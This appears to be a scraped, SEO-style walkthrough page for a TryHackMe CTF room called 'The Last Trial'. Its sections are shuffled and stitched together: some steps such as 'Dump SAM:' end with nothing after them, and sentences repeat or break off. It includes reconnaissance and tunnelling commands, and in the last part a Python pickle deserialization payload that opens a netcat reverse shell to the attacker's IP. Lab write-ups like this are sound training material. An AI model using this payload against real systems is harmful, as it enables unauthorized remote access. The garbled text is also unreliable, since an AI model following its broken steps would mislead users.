Trial Tryhackme Verified: The Last

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LastTrial Retrieve it with:

In this article, we will break down exactly what "verified" means in the context of The Last Trial, provide a step-by-step walkthrough to achieve full compromise, and explain how you can confidently claim that you have your skills by completing this grueling challenge. What is "The Last Trial" on TryHackMe? Before diving into verification, let’s set the stage. The Last Trial (Room ID: thelasttrial ) is a high-difficulty, CTF-style room created by a veteran TryHackMe contributor. Unlike beginner rooms that guide you with explicit questions, this room throws you into a simulated corporate network with minimal hand-holding.

Dump SAM:

./chisel server -p 8000 --reverse On Machine 1 (root):

So fire up your Kali VM, set your netcat listener, and take on The Last Trial. When you finally see that final hash accepted, you’ll have earned every bit of the verified title. This article is for educational purposes only. Always follow TryHackMe’s rules and do not share flags publicly. The techniques described apply to this specific room and should not be used on unauthorized systems. the last trial tryhackme verified

Many guides suggest a reverse shell via bash -i , but the verified method uses python3 -c 'import pty; pty.spawn("/bin/bash")' for stability. Phase 3: Privilege Escalation – The Real Test Now on the first machine (Ubuntu 20.04), you need root. The verified path is not a simple sudo -l or dirty pipe. The room uses a custom SUID binary called /usr/bin/verify_access . Analyzing the Binary: Use strings and ltrace :

gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt -x php,txt,zip Look for /dev/ , /notes/ , or a .git/ directory. The last trial hides an SSH key in a .git cache. Step 3: The "Hidden API" Endpoint One element unique to this room is a hidden GraphQL endpoint at /api/graphql . This is not documented. Use ffuf to fuzz for API endpoints: The Last Trial (Room ID: thelasttrial ) is

import pickle import os class RCE: def __reduce__(self): return (os.system, ('nc -e /bin/bash YOUR_IP 4444',)) pickled = pickle.dumps(RCE()) with open('config.pkl', 'wb') as f: f.write(pickled) Upload as config.pkl . Your netcat listener catches a shell as www-data .